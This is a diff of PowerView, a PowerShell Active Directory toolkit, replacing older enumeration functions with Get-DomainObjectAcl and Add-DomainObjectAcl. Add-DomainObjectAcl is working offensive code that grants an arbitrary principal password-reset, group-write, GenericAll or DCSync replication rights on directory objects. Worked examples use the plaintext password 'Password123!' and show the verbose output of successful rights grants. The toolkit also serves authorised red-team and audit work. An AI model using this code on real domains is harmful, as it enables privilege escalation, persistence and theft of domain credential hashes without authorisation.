- The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
-
- .PARAMETER SiteName
+.PARAMETER ServerTimeLimit
- The AD Site name to search for computers.
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
- .PARAMETER Unconstrained
+.PARAMETER Tombstone
- Switch. Return computer objects that have unconstrained delegation.
+Switch. Specifies that the searcher should also return deleted/tombstoned objects.
- .PARAMETER PageSize
+.PARAMETER Credential
- The PageSize to set for the LDAP searcher object.
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
- .PARAMETER Credential
+.EXAMPLE
- A [Management.Automation.PSCredential] object of alternate credentials
- for connection to the target domain.
+Get-DomainObjectAcl -Identity matt.admin -domain testlab.local -ResolveGUIDs
- .EXAMPLE
+Get the ACLs for the matt.admin user in the testlab.local domain and
+resolve relevant GUIDs to their display names.
- PS C:\> Get-NetComputer
-
- Returns the current computers in current domain.
+.EXAMPLE
- .EXAMPLE
+Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs
- PS C:\> Get-NetComputer -SPN mssql*
-
- Returns all MS SQL servers on the domain.
+Enumerate the ACL permissions for all OUs in the domain.
- .EXAMPLE
+.EXAMPLE
- PS C:\> Get-NetComputer -Domain testing
-
- Returns the current computers in 'testing' domain.
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-DomainObjectAcl -Credential $Cred -ResolveGUIDs
- .EXAMPLE
+.OUTPUTS
- PS C:\> Get-NetComputer -Domain testing -FullData
-
- Returns full computer objects in the 'testing' domain.
+PowerView.ACL
- .LINK
-
- https://github.com/darkoperator/Posh-SecMod/blob/master/Audit/Audit.psm1
+Custom PSObject with ACL entries.
#>
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('PowerView.ACL')]
[CmdletBinding()]
Param (
- [Parameter(ValueFromPipeline=$True)]
- [Alias('HostName')]
- [String]
- $ComputerName = '*',
-
- [String]
- $SPN,
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('DistinguishedName', 'SamAccountName', 'Name')]
+ [String[]]
+ $Identity,
- [String]
- $OperatingSystem,
+ [Switch]
+ $ResolveGUIDs,
[String]
- $ServicePack,
+ [Alias('Rights')]
+ [ValidateSet('All', 'ResetPassword', 'WriteMembers')]
+ $RightsFilter,
+ [ValidateNotNullOrEmpty()]
[String]
- $Filter,
-
- [Switch]
- $Printers,
-
- [Switch]
- $Ping,
-
- [Switch]
- $FullData,
+ $Domain,
+ [ValidateNotNullOrEmpty()]
+ [Alias('Filter')]
[String]
- $Domain,
+ $LDAPFilter,
+ [ValidateNotNullOrEmpty()]
+ [Alias('ADSPath')]
[String]
- $DomainController,
+ $SearchBase,
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
[String]
- $ADSpath,
+ $Server,
+ [ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
- $SiteName,
+ $SearchScope = 'Subtree',
- [Switch]
- $Unconstrained,
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ResultPageSize = 200,
- [ValidateRange(1,10000)]
+ [ValidateRange(1, 10000)]
[Int]
- $PageSize = 200,
+ $ServerTimeLimit,
+
+ [Switch]
+ $Tombstone,
[Management.Automation.PSCredential]
- $Credential
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
)
- begin {
- # so this isn't repeated if multiple computer names are passed on the pipeline
- $CompSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize -Credential $Credential
- }
-
- process {
+ BEGIN {
+ $SearcherArguments = @{
+ 'SecurityMasks' = 'Dacl'
+ 'Properties' = 'samaccountname,ntsecuritydescriptor,distinguishedname,objectsid'
+ }
+ if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
+ if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
+ $Searcher = Get-DomainSearcher @SearcherArguments
+
+ $DomainGUIDMapArguments = @{}
+ if ($PSBoundParameters['Domain']) { $DomainGUIDMapArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['Server']) { $DomainGUIDMapArguments['Server'] = $Server }
+ if ($PSBoundParameters['ResultPageSize']) { $DomainGUIDMapArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $DomainGUIDMapArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['Credential']) { $DomainGUIDMapArguments['Credential'] = $Credential }
- if ($CompSearcher) {
+ # get a GUID -> name mapping
+ if ($PSBoundParameters['ResolveGUIDs']) {
+ $GUIDs = Get-DomainGUIDMap @DomainGUIDMapArguments
+ }
+ }
- # if we're checking for unconstrained delegation
- if($Unconstrained) {
- Write-Verbose "Searching for computers with for unconstrained delegation"
- $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
- }
- # set the filters for the seracher if it exists
- if($Printers) {
- Write-Verbose "Searching for printers"
- # $CompSearcher.filter="(&(objectCategory=printQueue)$Filter)"
- $Filter += "(objectCategory=printQueue)"
+ PROCESS {
+ if ($Searcher) {
+ $IdentityFilter = ''
+ $Filter = ''
+ $Identity | Where-Object {$_} | ForEach-Object {
+ $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
+ if ($IdentityInstance -match '^S-1-.*') {
+ $IdentityFilter += "(objectsid=$IdentityInstance)"
+ }
+ elseif ($IdentityInstance -match '^(CN|OU|DC)=.*') {
+ $IdentityFilter += "(distinguishedname=$IdentityInstance)"
+ }
+ elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
+ $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
+ $IdentityFilter += "(objectguid=$GuidByteString)"
+ }
+ elseif ($IdentityInstance.Contains('.')) {
+ $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
+ }
+ else {
+ $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))"
+ }
}
- if($SPN) {
- Write-Verbose "Searching for computers with SPN: $SPN"
- $Filter += "(servicePrincipalName=$SPN)"
+ if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
+ $Filter += "(|$IdentityFilter)"
}
- if($OperatingSystem) {
- $Filter += "(operatingsystem=$OperatingSystem)"
- }
- if($ServicePack) {
- $Filter += "(operatingsystemservicepack=$ServicePack)"
+
+ if ($PSBoundParameters['LDAPFilter']) {
+ Write-Verbose "[Get-DomainObjectAcl] Using additional LDAP filter: $LDAPFilter"
+ $Filter += "$LDAPFilter"
}
- if($SiteName) {
- $Filter += "(serverreferencebl=$SiteName)"
+
+ if ($Filter) {
+ $Searcher.filter = "(&$Filter)"
}
+ Write-Verbose "[Get-DomainObjectAcl] Get-DomainObjectAcl filter string: $($Searcher.filter)"
- $CompFilter = "(&(sAMAccountType=805306369)(dnshostname=$ComputerName)$Filter)"
- Write-Verbose "Get-NetComputer filter : '$CompFilter'"
- $CompSearcher.filter = $CompFilter
+ $Results = $Searcher.FindAll()
+ $Results | Where-Object {$_} | ForEach-Object {
+ $Object = $_.Properties
- try {
- $Results = $CompSearcher.FindAll()
- $Results | Where-Object {$_} | ForEach-Object {
- $Up = $True
- if($Ping) {
- # TODO: how can these results be piped to ping for a speedup?
- $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname
- }
- if($Up) {
- # return full data objects
- if ($FullData) {
- # convert/process the LDAP fields for each result
- $Computer = Convert-LDAPProperty -Properties $_.Properties
- $Computer.PSObject.TypeNames.Add('PowerView.Computer')
- $Computer
+ if ($Object.objectsid -and $Object.objectsid[0]) {
+ $ObjectSid = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value
+ }
+ else {
+ $ObjectSid = $Null
+ }
+
+ try {
+ New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Object['ntsecuritydescriptor'][0], 0 | Select-Object -Expand DiscretionaryAcl | ForEach-Object {
+
+ if ($PSBoundParameters['RightsFilter']) {
+ $GuidFilter = Switch ($RightsFilter) {
+ 'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' }
+ 'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' }
+ Default { '00000000-0000-0000-0000-000000000000' }
+ }
+ if ($_.ObjectType -eq $GuidFilter) {
+ $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0]
+ $_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid
+ $Continue = $True
+ }
}
else {
- # otherwise we're just returning the DNS host name
- $_.properties.dnshostname
+ $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0]
+ $_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid
+ $Continue = $True
+ }
+
+ if ($Continue) {
+ $_ | Add-Member NoteProperty 'ActiveDirectoryRights' ([Enum]::ToObject([System.DirectoryServices.ActiveDirectoryRights], $_.AccessMask))
+
+ if ($GUIDs) {
+ # if we're resolving GUIDs, map them them to the resolved hash table
+ $AclProperties = @{}
+ $_.psobject.properties | ForEach-Object {
+ if ($_.Name -match 'ObjectType|InheritedObjectType|ObjectAceType|InheritedObjectAceType') {
+ try {
+ $AclProperties[$_.Name] = $GUIDs[$_.Value.toString()]
+ }
+ catch {
+ $AclProperties[$_.Name] = $_.Value
+ }
+ }
+ else {
+ $AclProperties[$_.Name] = $_.Value
+ }
+ }
+ $OutObject = New-Object -TypeName PSObject -Property $AclProperties
+ $OutObject.PSObject.TypeNames.Insert(0, 'PowerView.ACL')
+ $OutObject
+ }
+ else {
+ $_.PSObject.TypeNames.Insert(0, 'PowerView.ACL')
+ $_
+ }
}
}
}
- $Results.dispose()
- $CompSearcher.dispose()
- }
- catch {
- Write-Warning "Error: $_"
+ catch {
+ Write-Verbose "[Get-DomainObjectAcl] Error: $_"
+ }
}
}
}
}
-function Get-ADObject {
+function Add-DomainObjectAcl {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Adds an ACL for a specific active directory object.
+
+AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3): https://adsecurity.org/?p=1906
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-DomainObject
+
+.DESCRIPTION
+
+This function modifies the ACL/ACE entries for a given Active Directory
+target object specified by -TargetIdentity. Available -Rights are
+'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended
+rights GUID can be set with -RightsGUID. These rights are granted on the target
+object for the specified -PrincipalIdentity.
+
+.PARAMETER TargetIdentity
+
+A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
+SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
+for the domain object to modify ACLs for. Required. Wildcards accepted.
+
+.PARAMETER TargetDomain
+
+Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain.
+
+.PARAMETER TargetLDAPFilter
+
+Specifies an LDAP query string that is used to filter Active Directory object targets.
+
+.PARAMETER TargetSearchBase
+
+The LDAP source to search through for targets, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+Useful for OU queries.
+
+.PARAMETER PrincipalIdentity
+
+A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
+SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
+for the domain principal to add for the ACL. Required. Wildcards accepted.
+
+.PARAMETER PrincipalDomain
+
+Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain.
+
+.PARAMETER PrincipalLDAPFilter
+
+Specifies an LDAP query string that is used to filter for the Active Directory object principal.
- Takes a domain SID and returns the user, group, or computer object
- associated with it.
+.PARAMETER PrincipalSearchBase
- .PARAMETER SID
+The LDAP source to search through for principals, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+Useful for OU queries.
- The SID of the domain object you're querying for.
+.PARAMETER Server
- .PARAMETER Name
+Specifies an Active Directory server (domain controller) to bind to.
- The Name of the domain object you're querying for.
+.PARAMETER SearchScope
- .PARAMETER SamAccountName
+Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
- The SamAccountName of the domain object you're querying for.
+.PARAMETER ResultPageSize
- .PARAMETER Domain
+Specifies the PageSize to set for the LDAP searcher object.
- The domain to query for objects, defaults to the current domain.
+.PARAMETER ServerTimeLimit
- .PARAMETER DomainController
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
- Domain controller to reflect LDAP queries through.
+.PARAMETER Tombstone
- .PARAMETER ADSpath
+Switch. Specifies that the searcher should also return deleted/tombstoned objects.
- The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+.PARAMETER Credential
- .PARAMETER Filter
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
- Additional LDAP filter string for the query.
+.PARAMETER Rights
- .PARAMETER ReturnRaw
+Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'.
+Defaults to 'All'.
- Switch. Return the raw object instead of translating its properties.
- Used by Set-ADObject to modify object properties.
+.PARAMETER RightsGUID
- .PARAMETER PageSize
+Manual GUID representing the right to add to the target.
- The PageSize to set for the LDAP searcher object.
+.EXAMPLE
- .PARAMETER Credential
+$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid
+Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid}
- A [Management.Automation.PSCredential] object of alternate credentials
- for connection to the target domain.
+...
- .EXAMPLE
+Add-DomainObjectAcl -TargetIdentity dfm.a -PrincipalIdentity harmj0y -Rights ResetPassword -Verbose
+VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
+VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y)))
+VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
+VERBOSE: [Get-DomainObject] Get-DomainObject filter string:(&(|(samAccountName=dfm.a)))
+VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=dfm (admin),CN=Users,DC=testlab,DC=local
+VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=dfm (admin),CN=Users,DC=testlab,DC=local
- PS C:\> Get-ADObject -SID "S-1-5-21-2620891829-2411261497-1773853088-1110"
-
- Get the domain object associated with the specified SID.
-
- .EXAMPLE
+Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid }
- PS C:\> Get-ADObject -ADSpath "CN=AdminSDHolder,CN=System,DC=testlab,DC=local"
-
- Get the AdminSDHolder object for the testlab.local domain.
+AceQualifier : AccessAllowed
+ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local
+ActiveDirectoryRights : ExtendedRight
+ObjectAceType : User-Force-Change-Password
+ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114
+InheritanceFlags : None
+BinaryLength : 56
+AceType : AccessAllowedObject
+ObjectAceFlags : ObjectAceTypePresent
+IsCallback : False
+PropagationFlags : None
+SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108
+AccessMask : 256
+AuditFlags : None
+IsInherited : False
+AceFlags : None
+InheritedObjectAceType : All
+OpaqueLength : 0
+
+.EXAMPLE
+
+$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid
+Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid}
+
+[no results returned]
+
+$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Add-DomainObjectAcl -TargetIdentity testuser -PrincipalIdentity harmj0y -Rights ResetPassword -Credential $Cred -Verbose
+VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
+VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential
+VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
+VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
+VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=harmj0y)(name=harmj0y))))
+VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
+VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential
+VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
+VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
+VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser))))
+VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=testuser testuser,CN=Users,DC=testlab,DC=local
+VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=testuser,CN=Users,DC=testlab,DC=local
+
+Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid }
+
+AceQualifier : AccessAllowed
+ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local
+ActiveDirectoryRights : ExtendedRight
+ObjectAceType : User-Force-Change-Password
+ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114
+InheritanceFlags : None
+BinaryLength : 56
+AceType : AccessAllowedObject
+ObjectAceFlags : ObjectAceTypePresent
+IsCallback : False
+PropagationFlags : None
+SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108
+AccessMask : 256
+AuditFlags : None
+IsInherited : False
+AceFlags : None
+InheritedObjectAceType : All
+OpaqueLength : 0
+
+.LINK
+
+https://adsecurity.org/?p=1906
+https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell
#>
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param (
- [Parameter(ValueFromPipeline=$True)]
- [String]
- $SID,
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('DistinguishedName', 'SamAccountName', 'Name')]
+ [String[]]
+ $TargetIdentity,
+ [ValidateNotNullOrEmpty()]
[String]
- $Name,
+ $TargetDomain,
+ [ValidateNotNullOrEmpty()]
+ [Alias('Filter')]
[String]
- $SamAccountName,
+ $TargetLDAPFilter,
+ [ValidateNotNullOrEmpty()]
[String]
- $Domain,
+ $TargetSearchBase,
+
+ [Parameter(Mandatory = $True)]
+ [ValidateNotNullOrEmpty()]
+ [String[]]
+ $PrincipalIdentity,
+ [ValidateNotNullOrEmpty()]
[String]
- $DomainController,
+ $PrincipalDomain,
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
[String]
- $ADSpath,
+ $Server,
+ [ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
- $Filter,
+ $SearchScope = 'Subtree',
- [Switch]
- $ReturnRaw,
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ResultPageSize = 200,
- [ValidateRange(1,10000)]
+ [ValidateRange(1, 10000)]
[Int]
- $PageSize = 200,
+ $ServerTimeLimit,
+
+ [Switch]
+ $Tombstone,
[Management.Automation.PSCredential]
- $Credential
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty,
+
+ [ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')]
+ [String]
+ $Rights = 'All',
+
+ [Guid]
+ $RightsGUID
)
- process {
- if($SID) {
- # if a SID is passed, try to resolve it to a reachable domain name for the searcher
- try {
- $Name = Convert-SidToName $SID
- if($Name) {
- $Canonical = Convert-ADName -ObjectName $Name -InputType NT4 -OutputType Canonical
- if($Canonical) {
- $Domain = $Canonical.split("/")[0]
- }
- else {
- Write-Warning "Error resolving SID '$SID'"
- return $Null
- }
- }
- }
- catch {
- Write-Warning "Error resolving SID '$SID' : $_"
- return $Null
- }
+
+ BEGIN {
+ $TargetSearcherArguments = @{
+ 'Properties' = 'distinguishedname'
+ 'Raw' = $True
+ }
+ if ($PSBoundParameters['TargetDomain']) { $TargetSearcherArguments['Domain'] = $TargetDomain }
+ if ($PSBoundParameters['TargetLDAPFilter']) { $TargetSearcherArguments['LDAPFilter'] = $TargetLDAPFilter }
+ if ($PSBoundParameters['TargetSearchBase']) { $TargetSearcherArguments['SearchBase'] = $TargetSearchBase }
+ if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $TargetSearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $TargetSearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $TargetSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['Tombstone']) { $TargetSearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $TargetSearcherArguments['Credential'] = $Credential }
+
+ $PrincipalSearcherArguments = @{
+ 'Identity' = $PrincipalIdentity
+ 'Properties' = 'distinguishedname,objectsid'
+ }
+ if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }
+ if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential }
+ $Principals = Get-DomainObject @PrincipalSearcherArguments
+ if (-not $Principals) {
+ throw "Unable to resolve principal: $PrincipalIdentity"
}
+ }
- $ObjectSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
+ PROCESS {
+ $TargetSearcherArguments['Identity'] = $TargetIdentity
+ $Targets = Get-DomainObject @TargetSearcherArguments
- if($ObjectSearcher) {
- if($SID) {
- $ObjectSearcher.filter = "(&(objectsid=$SID)$Filter)"
- }
- elseif($Name) {
- $ObjectSearcher.filter = "(&(name=$Name)$Filter)"
+ ForEach ($TargetObject in $Targets) {
+
+ $InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None'
+ $ControlType = [System.Security.AccessControl.AccessControlType] 'Allow'
+ $ACEs = @()
+
+ if ($RightsGUID) {
+ $GUIDs = @($RightsGUID)
}
- elseif($SamAccountName) {
- $ObjectSearcher.filter = "(&(samAccountName=$SamAccountName)$Filter)"
+ else {
+ $GUIDs = Switch ($Rights) {
+ # ResetPassword doesn't need to know the user's current password
+ 'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' }
+ # allows for the modification of group membership
+ 'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' }
+ # 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
+ # 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
+ # 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c
+ # when applied to a domain's ACL, allows for the use of DCSync
+ 'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'}
+ }
}
- $Results = $ObjectSearcher.FindAll()
- $Results | Where-Object {$_} | ForEach-Object {
- if($ReturnRaw) {
- $_
+ ForEach ($PrincipalObject in $Principals) {
+ Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname)"
+
+ try {
+ $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid)
+
+ if ($GUIDs) {
+ ForEach ($GUID in $GUIDs) {
+ $NewGUID = New-Object Guid $GUID
+ $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight'
+ $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType
+ }
+ }
+ else {
+ # deault to GenericAll rights
+ $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll'
+ $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType
+ }
+
+ # add all the new ACEs to the specified object directory entry
+ ForEach ($ACE in $ACEs) {
+ Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)"
+ $TargetEntry = $TargetObject.GetDirectoryEntry()
+ $TargetEntry.PsBase.Options.SecurityMasks = 'Dacl'
+ $TargetEntry.PsBase.ObjectSecurity.AddAccessRule($ACE)
+ $TargetEntry.PsBase.CommitChanges()
+ }
}
- else {
- # convert/process the LDAP fields for each result
- Convert-LDAPProperty -Properties $_.Properties
+ catch {
+ Write-Warning "[Add-DomainObjectAcl] Error granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname) : $_"
}
}
- $Results.dispose()
- $ObjectSearcher.dispose()
}
}
}
-function Set-ADObject {
+function Find-InterestingDomainAcl {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Finds object ACLs in the current (or specified) domain with modification
+rights set to non-built in objects.
+
+Thanks Sean Metcalf (@pyrotek3) for the idea and guidance.
- Takes a SID, name, or SamAccountName to query for a specified
- domain object, and then sets a specified 'PropertyName' to a
- specified 'PropertyValue'.
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-DomainObjectAcl, Get-DomainObject, Convert-ADName
- .PARAMETER SID
+.DESCRIPTION
- The SID of the domain object you're querying for.
+This function enumerates the ACLs for every object in the domain with Get-DomainObjectAcl,
+and for each returned ACE entry it checks if principal security identifier
+is *-1000 (meaning the account is not built in), and also checks if the rights for
+the ACE mean the object can be modified by the principal. If these conditions are met,
+then the security identifier SID is translated, the domain object is retrieved, and
+additional IdentityReference* information is appended to the output object.
- .PARAMETER Name
+.PARAMETER Domain
- The Name of the domain object you're querying for.
+Specifies the domain to use for the query, defaults to the current domain.
- .PARAMETER SamAccountName
+.PARAMETER ResolveGUIDs
- The SamAccountName of the domain object you're querying for.
+Switch. Resolve GUIDs to their display names.
- .PARAMETER Domain
+.PARAMETER LDAPFilter
- The domain to query for objects, defaults to the current domain.
+Specifies an LDAP query string that is used to filter Active Directory objects.
- .PARAMETER DomainController
+.PARAMETER SearchBase
- Domain controller to reflect LDAP queries through.
+The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+Useful for OU queries.
- .PARAMETER Filter
+.PARAMETER Server
- Additional LDAP filter string for the query.
+Specifies an Active Directory server (domain controller) to bind to.
- .PARAMETER PropertyName
+.PARAMETER SearchScope
- The property name to set.
+Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
- .PARAMETER PropertyValue
+.PARAMETER ResultPageSize
- The value to set for PropertyName
+Specifies the PageSize to set for the LDAP searcher object.
- .PARAMETER PropertyXorValue
+.PARAMETER ServerTimeLimit
- Integer value to binary xor (-bxor) with the current int value.
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
- .PARAMETER ClearValue
+.PARAMETER Tombstone
- Switch. Clear the value of PropertyName
+Switch. Specifies that the searcher should also return deleted/tombstoned objects.
- .PARAMETER PageSize
+.PARAMETER Credential
- The PageSize to set for the LDAP searcher object.
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
- .PARAMETER Credential
+.EXAMPLE
- A [Management.Automation.PSCredential] object of alternate credentials
- for connection to the target domain.
+Find-InterestingDomainAcl
- .EXAMPLE
